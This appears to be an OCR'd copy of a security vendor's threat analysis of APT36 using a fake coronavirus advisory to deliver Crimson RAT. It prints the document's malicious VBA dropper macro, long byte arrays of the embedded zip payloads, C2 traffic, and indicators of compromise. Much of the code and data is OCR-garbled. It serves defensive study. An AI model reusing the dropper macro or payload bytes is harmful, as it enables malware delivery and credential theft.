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Since the coronavirus became a worldwide health issue, the desire for more information and
guidance from government and health authorities has reached a fever pitch. This is a golden
opportunity for threat actors to capitalize on fear, spread misinformation, and generate mass
hysteria—all while compromising victims with scams or malware campaigns.

Profiting from global health concerns, natural disasters, and other extreme weather events is
nothing new for cybercriminals. Scams related to SARS, H1N1 (swine flu), and avian flu have
circulated online for more than a decade. According to reports from ZDnet, many state-sponsored
threat actors have already started to distribute coronavirus lures, including:

Chinese APTs: Vicious Panda, Mustang Panda

« North Korean APTs: Kimsuky

Russian APTs: Hades group (believed to have ties with APT28), TA542 (Emotet)
Other APTs: Sweed (Lokibot)

Recently, the Red Drip team reported that APT36 was using a decoy health advisory document to
spread a Remote Administration Tool (RAT).

APT36 is believed to be a Pakistani state-sponsored threat actor mainly targeting the defense,
embassies, and the government of India. APT36 performs cyber-espionage operations with the
intent of collecting sensitive information from India that supports Pakistani military and diplomatic
interests. This group, active since 2016, is also known as Transparent Tribe, ProjectM, Mythic
Leopard, and TEMP.Lapis.

APT36 spreads fake coronavirus health advisory
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APT36 mainly relies on both spear phishing and watering hole attacks to gain its foothold on
victims. The phishing email is either a malicious macro document or an rtf file exploiting
vulnerabilities, such as CVE-2017-0199.

In the coronavirus-themed attack, APT36 used a spear phishing email with a link to a malicious
document (Figure 1) masquerading as the government of India (email.gov.in.maildrive[.Jemail/?
att=1579160420).
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Figure 1: Phishing document containing malicious macro code

We looked at the previous phishing campaigns related to this APT and can confirm this is a new
phishing pattern from this group. The names used for directories and functions are likely Urdu
names.

The malicious document has two hidden macros that drop a RAT variant called Crimson RAT. The
malicious macro (Figure 2) first creates two directories with the names “Edlacar” and “Uahaiws”
and then checks the OS type.
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Sub userZldiLoadr ()
Dim path 2l1di_ file As String
Dim file 21di name &As String
Dim zip_ 2l1di_file &s Variant
Dim fldr 21di name &As Variant
Dim byt () Zs Byte
Dim arlzldi() Zs String

file 21di name = "dhrwarhsav"
fldr 21di name = Environ$ ("ALLUSERSPROFILE") & "\Edlacar‘"|
If Dir(fldr 2ldi name, vbDirectory) = "" Then
MkDir (fldr 21di name)
End If
Ifldrz 21di name = Environ$ ("ALLUSERSPROFILE") & “\Uahaiws\"l
If Dir(fldrz_2ldi name, vbDirectory) = "" Then
MkDir (fldrz RAldi name)
End If

zip Aldi_ file = fldrz Aldi name & "othria.zip"
path 21di file = fldr 21di name & file 21di name & ".e="

arlzldi = Split (UserForml.TextBox2.Text, ":")
Else

arlzldi = Split (UserForml.TextBoxl.Text, ":")
End If

If InStr(fpplication.COperatingSystem, "6€.02"™) > 0 Or InStr(Zpplication.OperatingSystem, "6.03") > 0 Then

Dim btsZldi() Zs Byte

Dim linZldi ZAs Double

linnldi = 0

For Each vl In arlaldi
ReDim Preserve btshldi(linildi)
btsaldi(linaldi) = CByte(vl)
linaldi = linAldi + 1

Next
Open zip Aldi_ file For Binary Access Write As §2
Put $2, , btsaldi
Clo=e f2
If Len(Dir (path 21di file & "xe")) = 0 Then
|call unzldizip(zip 21di file, fldr 21di name)|
End If
rghell path 21di file & "xe", vbﬁormalﬁoFocusl
End Sub

Sub un&Zldizip(Fname A= Variant, FileNameFolder As Variant)
Dim FSO As Cbject
Dim oZpp As Cbject
'Extract the files into the Destination folder
Set olpp = CreateCbject("Shell.Rpplication")
oRpp.Namespace (FileNameFolder) .CopyHere oRpp.Namespace (Fname) .items, &H4
End Sub

Figure 2: malicious macro

Based on the OS type, the macro picks either a 32bit or 64bit version of its RAT payload in zip

format that is stored in one of the two textboxes in UserForm1 (Figure 3).

https://blog.malwarebytes.com/threat-analysis/2020/03/apt36-jumps-on-the-coronavirus-bandwagon-delivers-crimson-rat/

3/6


https://blog.malwarebytes.com/wp-content/uploads/2020/03/3-1.png

3/17/2020 APT36 jumps on the coronavirus bandwagon, delivers Crimson RAT | Malwarebytes Labs

UserForm1 @

80:75:3:4:20:0:0:0:8:0:74:172:66:80:248:247:98:15:208:252:0:0:0:66:154:0:14 1100:104:114:119:97:114:104:115:97:118:46:101:120:101:236:90:107:1 |
12:28:199:113:238:219:219:219:221:123:129:92:220:241:142:36:8:222:241:1:112:133:3:64:240:13:82:36:69:82:146:69:155:34:69:74:180:196:135: 101:137:1

43:51:69:138:196:146:123:128:37:234:120:16:28:217:177:100:139:52:165:40:182:9:135:82:153:142:101:197:150:163:56:178:98:217:121:148:21:253:72:148 .
150:29:41:78:242:199:54:236:74:170:146:74:149:92:174:188:42:37:87:25:72:119:207:236:237:29:22:32:17:199:165:40:85:211:192:238:204:244:188:122:122 |
1190:233:233:153:189:157:7:46:66:20:0:116:124:38:38:0:94:5:65:91:224:250:52:130:79:75:225:59:45:240:205:248:213:69:175:70:110:191:186:104:239:3:19
9:43:197:211:158:123:204:59:116:170:120:228:208:192:128:59:88:60:92:46:122:67:3:197:227:3:197:91:238:184:171:120:202:61:90:238:77:167:19:75:101:2 -
7:187:111:5:184:61:18:133:196:47:214:126:216:111:247:167:160:69:146:145:36:198:70:235:130:44:44:96:188:136:145:34:134:196:164:184:38:228:38:242:

67:24:25:101:62:112:246:150:79:0:204:230:255:32:172:7:76:223:91:56:10:119:80:4:219:125:120:35:132:233:254:81:72:97:240:76:251:40:44:152:34:123:90:
42:2:88:13:73:11:211:219:27:210:189:131:229:135:7:49:92:58:113:73:140:5:2:185:125:66:246:253:189:94:197:59:130:113:150:141:198:190:25:67:109:180: -
169:220:22:252:239:245:202:39:93:44:72:178:146:204:220:214:150:80:185:109:48:153:10:162:12:201:166:65:12:222:254:209:37:120:1:11:70:48:189:22:19

2:120:124:7:192:209:167:46:133:170:77:71:153:62:13:230:3:215:183:97:24:223:186:99:3:36:60:140:157:118:90:49:150:40:129:209:5:208:214:167:195:69:9 |
6:49:49:223:139:97:118:254:168:131:245:50:186:173:231:10:231:46:219:186:155:193:226:185:209:196:112:22:67:35:239:206:193:32:57:108:98:147:41:211

:210:184:49:55:135:175:116:60:59:30:201:141:71:50:49:59:214:147:1:63:47:234:230:241:13:80:234:140: 187:115:41:237:204: 163:246:100:57:59:84:14:198:
98:157:248:2:232:138:204:6:30:193:227:79:04:44:66:34:225:152:86:32:39:74:176:86:230:211:32:140:74:27:73:99:106:238:2:170:108: 186:237:20:24:238:66: |
17:20:48:72:89:233:18:196:113:168:60:214:15:1:99:20:199:234:20:185:1:119:17:201:191:152:10:182:106:206:18:210:209:67:168:4:201:95:218:192:119:58: -
168:171:177:133:157:224:85:235:106:74:199:115:133:69:151:227:82:71:73:20:219:172:203:189:225:70:88:24:17:83:8:219:81:220:191:195:38:63:122:3:192: -
63:173:7:72:74:16:174:232:91:215:187:98:221:154:222:181:171:123:87:246:173:167:121:211:225:199:200:199:137:176:157:78:18:129:116:54:66:19:232:93

1170:247:154:48:104:106:12:217:235:8:173:63:239:234:116:185:168:46:189:237:60:42:46:210:241:230:45:4:4:135:90:68:37:232:133:150:243:235:152:125:1 |

80:75:3:4:20:0:0:0:8:0:89:172:66:80:177:237:32:105:12:253:0:0:0:66:154:0:14:0:0:0: 100:104:114:119:97:114:104:115:97:118:46:101:120:101:236:90: 107:1 '
12:28:199:113:238:219:219:219:221:123:129:92:220:241:142:36:8:222:241:5:174:112:0:4:190: 193:167:72:74:178:104:83:164:72:138:150:249:176:44:190:7
8:20:41:18:75:238:1:150:168:227:65:112:36:199:150:45:210:148:44:203:38:28:74:101:58:150:29:91:142:226:200:138:101:231:81:86:244:35:81:42:116:164: -
56:201:31:219:176:43:73:37:149:42:187:92:121:85:34:87:25:72:119:207:236:222:29:22:32:17:39:165:40:85:211:228:237:206:244:244:204:244:244:124:211: -
211:51:1359:29:7:46:65:20:0:116:252:141:143:3:188:10:130:54:195:141:105:24:127:45:133:239:180:192:55:227:215:22:188:26:185:243:218:130:189:15:156: ©
168:20:207:120:238:113:239:240:233:226:209:195:253:253:238:64:241:72:185:232:13:246:23:79:244:23:111:187:235:238:226:105:247:88:185:39:157:78:44 |
:150:109:236:186:29:224:206:72:20:156:95:172:254:144:223:238:79:64:139:36:35:73:76:141:4:138:12:21:48:93:196:68:17:223:196:164:180:38:244:38:50:2
52:202:195:35:204:7:46:62:244:81:128:153:252:191:254:14:94:76:189:216:238:118:74:96:187:15:111:128:48:29:26:129:20:190:254:179:125:4:230:77:82:60 .
137:21:1:172:134:172:133:249:109:13:249:158:129:242:195:3:248:126:124:252:178:24:11:212:245:246:9:217:135:122:188:138:119:20:211:172:27:141:125:
19:190:181:145:38:185:205:248:191:199:43:159:114:81:144:116:37:157:185:173:205:33:185:173:48:129:14:21:132:12:233:166:65:12:254:254:135:151:33:1
87:5:32:130:249:213:104:214:97:52:206:177:167:46:79:172:54:37:101:122:53:152:11:92:223:134:33:124:234:78:43:64:194:195:212:25:39:131:169:68:9:140
178:128:182:94:29:46:1:171:105:3:120:49:44:206:95:184:9:235:101:116:91:207:21:206:95:177:117:55:139:226:185:145:196:208:44:124:27:121:55:135:175: |
228:144:137:77:166:76:75:227:198:220:60:62:210:241:236:88:36:55:22:201:196:236:88:119:6:252:178:168:59:27:159:0:165:142:184:59:135:242:206:92:10 -
6:79:202:217:33:57:24:141:117:224:3:160:51:50:19:120:4:31:127:2:98:17:82:9:199:180:12:57:81:210:181:210:70:131:48:42:243:72:27:83:115:219:169:178: -
233:206:167:151:225:22:196:171:136:175:148:149:46:65:28:135:202:99:253:32:48:86:113:172:206:2:110:192:93:72:250:47:34:193:86:205:89:76:54:122:8:1 |
41:32:249:75:26:248:78:7:117:53:58:191:3:188:106:96:166:116:60:87:88:112:37:46:109:148:68:181:205:64:239:117:235:97:126:68:76:33:108:195:65:255:5 |
3:246:248:97:172:244:15:107:1:146:18:132:203:122:215:244:44:91:179:170:103:245:202:158:229:189:107:105:222:116:248:17:242:113:34:108:103:41:169:
64:54:27:166:9:244:46:7:189:38:12:154:26:67:246:58:76:235:207:187:54:85:41:154:75:111:187:176:28:11:150:188:121:27:1:225:38:106:17:141:160:23:90:4
6:244:49:251:246:128:29:163:166:222:158:170:41:154:116:175:61:50:69:169:69:165:119:76:85:26:167:210:253:88:58:140:147:172:119:50:70:13:240:128:1

Figure 3: embedded payloads in ZIP format

Then it drops the zip payload into the Uahaiws directory and unzips its content using the
“UnAldizip” function, dropping the RAT payload into the Edlacar directory. Finally, it calls the Shell
function to execute the payload.

Crimson RAT
The Crimson RAT has been written in .Net (Figure 4) and its capabilities include:

« Stealing credentials from the victim’s browser

« Listing running processes, drives, and directories on the victim’s machine
 Retrieving files from its C&C server

« Using custom TCP protocol for its C&C communications

» Collecting information about antivirus software

« Capturing screenshots
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Figure 4: Crimson RAT

Upon running the payload, Crimson RAT connects to its hardcoded C&C IP addresses and sends
collected information about the victim back to the server, including a list of running processes and
their IDs, the machine hostname, and its username (Figure 5).

[|£7 dhrwarhsav.exe (4732)  192.168.193.147 49994 107.175.64.209 8661 TCP  Established |
..... info=command. . ...dhrwarhsav-info=uzerF....|DESKTOP-2C3IQHO|REM| |652|M.0.0.5]|| ||C:\Users\REM\Desktop\dhrwarhsav
Vel getavs=avpro..... dhrwarhsav-getavs=pcessd. .. .3276>explorer>@>Windows Explorer<2668>dllhost>@><4416>vmtoolsd>@>VMware Tools Core

Service<528>services>@><3820>Procmon>@>Process
Monitor<2484>armsvc>@><436>wininit>0><2056>vmtoolsd>0><4900>SearchFilterHost>0><1852>svchost>@>Host Process for Windows
Services<4940>InstallAgentUserBroker>8>InstallAgentUserBroker<2@28>svchost>@><2116>Memory
Compression>@><780>dwm>0><4072>ShellExperienceHost>@>Windows Shell Experience
Host<1616>ProcessHacker>8><864>svchost>0><1484>spoolsv>8><504>winlogon»@><246@>dumpcap>@>Dumpcap<3972>WmiPrvSE>@><856>svchost>8><1388>svch
ost>0><1084>msiexec>0><2720>taskhostw>@>Host Process for Windows Tasks<4232>dllhost>@>COM
Surrogate<4532>SearchProtocolHost>8><3976>TcplogView>@>TepLlogView<1292>SearchUl>@>Search and Cortana
application<668>svchost>@><2536>InstallAgent>@>InstallAgent<436@>dhrwarhsav>@>MLREDM<4224>dhrwarhsav>@>MLREDM<2636>Wireshark>0>Wireshark<2
452>backgroundTaskHost>@>Background Task
Host<1068>vmacthlp>0><1368>VGAuthService>0><388>svchost>8><1276>svchost>0><18088>dasHost>0><916>svchost>8><1804>51host>@>Shell
Infrastructure
Host<296@>msdtc>0><1440>svchost>8><732>svchost>0><3640>WmiPrvSE>0><372>csrss>8><1220>svchost>@><3376>RuntimeBroker>@>Runtime
Broker<1736>Procmon64>0><1880>svchost>8><3028>conhost>@>Console Window
Host<276>smss>8><3308>SearchIndexer>8><896>svchost>0><628>svchost>0><4>System>B><448>csrss>B><536>1sass>B><0>Tdle>B><

Figure 5: TCP communications

Ongoing use of RATs

APT36 has used many different malware families in the past, but has mostly deployed RATSs, such
as BreachRAT, DarkComet, Luminosity RAT, and njRAT.

In past campaigns, they were able to compromise Indian military and government databases to
steal sensitive data, including army strategy and training documents, tactical documents, and
other official letters. They also were able to steal personal data, such as passport scans and
personal identification documents, text messages, and contact details.

Protection against RATs

While most general users needn’t worry about nation-state attacks, organizations wanting to
protect against this threat should consider using an endpoint protection system or endpoint
detection and response with exploit blocking and real-time malware detection.
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Shoring up vulnerabilities by keeping all software (including Microsoft Excel and Word) up-to-date
shields against exploit attacks. In addition, training employees and users to avoid opening
coronavirus resources from unvetted sources can protect against this and other social
engineering attacks from threat actors.

Malwarebytes users are protected against this attack. We block the malicious macro execution as
well as its payload with our application behavior protection layer and real-time malware detection.

(::} Exploit automatically blocked {::) Malware automatically quarantined

It is no longer a threat to your computer

Affected application:  dhrwarhsav.exe Type:  Malware
Protection layer: Application Behavior Protecti.., Mame: Trojan.MalPack.MSIL
Protection technigue: Exploit payload macro proces... Path:  C\ProgramData\Edlacar\dhrwarhsav.exe

Indicators of Compromise
Decoy URLs

email.gov.in.maildrive[.]lemail/?att=1579160420
email.gov.in.maildrive[.]lemail/?att=1581914657

Decoy documents

876939aa0aal57aa2581b74ddfc4cf03893cede542ade22a2d9ac70e2fef1656
20dal61f0174d2867d2a296d4e2a8ebd2f0c513165de6f2a6f455abcecf78f2a

Crimson RAT

0ee399769a6e6e6d444a819ff0ca564ae584760baba93eff766926bleffe0010
b67d764c981a298fa2bbl4ca7faffc68ec30ad34380ad8a92911b2350104e748

C2s

107.175.64[.1209
64.188.25[.]205

MITRE ATT&CK

https://attack.mitre.org/software/S0115/
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